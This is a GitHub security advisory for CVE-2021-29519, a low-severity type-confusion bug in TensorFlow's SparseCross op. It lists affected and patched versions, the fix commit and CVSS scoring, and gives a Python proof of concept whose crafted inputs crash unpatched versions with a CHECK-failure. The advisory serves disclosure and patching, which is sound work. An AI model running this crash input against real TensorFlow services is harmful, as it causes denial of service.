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CHECK-fail in SparseCross due to type confusion

Low severity GitHub Reviewed Published May 13, 2021 in tensorflow/tensorflow • Updated Oct 28, 2024

Package

pip tensorflow (pip)

Affected versions

< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2

Patched versions

2.1.4
2.2.3
2.3.3
2.4.2
pip tensorflow-cpu (pip)
< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2
2.1.4
2.2.3
2.3.3
2.4.2
pip tensorflow-gpu (pip)
< 2.1.4
>= 2.2.0, < 2.2.3
>= 2.3.0, < 2.3.3
>= 2.4.0, < 2.4.2
2.1.4
2.2.3
2.3.3
2.4.2

Description

Impact

The API of tf.raw_ops.SparseCross allows combinations which would result in a CHECK-failure and denial of service:

import tensorflow as tf

hashed_output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string 
internal_type = tf.string

indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)
indices = [indices_1, indices_2]

values_1 = tf.constant([0], dtype=tf.int64)
values_2 = tf.constant([72], dtype=tf.int64)
values = [values_1, values_2]

batch_size = 4
shape_1 = tf.constant([4, 122], dtype=tf.int64)
shape_2 = tf.constant([4, 188], dtype=tf.int64)
shapes = [shape_1, shape_2]

dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
denses = [dense_1, dense_2, dense_3]

tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,
                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)

The above code will result in a CHECK fail in tensor.cc:

void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
  CHECK_EQ(dtype(), expected_dtype)
      << " " << DataTypeString(expected_dtype) << " expected, got "
      << DataTypeString(dtype());
  ...
}

This is because the implementation is tricked to consider a tensor of type tstring which in fact contains integral elements:

  if (DT_STRING == values_.dtype())
      return Fingerprint64(values_.vec<tstring>().data()[start + n]);
  return values_.vec<int64>().data()[start + n];

Fixing the type confusion by preventing mixing DT_STRING and DT_INT64 types solves this issue.

Patches

We have patched the issue in GitHub commit b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

References

@mihaimaruseac mihaimaruseac published to tensorflow/tensorflow May 13, 2021
Published by the National Vulnerability Database May 14, 2021
Reviewed May 18, 2021
Published to the GitHub Advisory Database May 21, 2021
Last updated Oct 28, 2024

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

EPSS score

0.044%
(15th percentile)

Weaknesses

CVE ID

CVE-2021-29519

GHSA ID

GHSA-772j-h9xw-ffp5

Source code

No known source code
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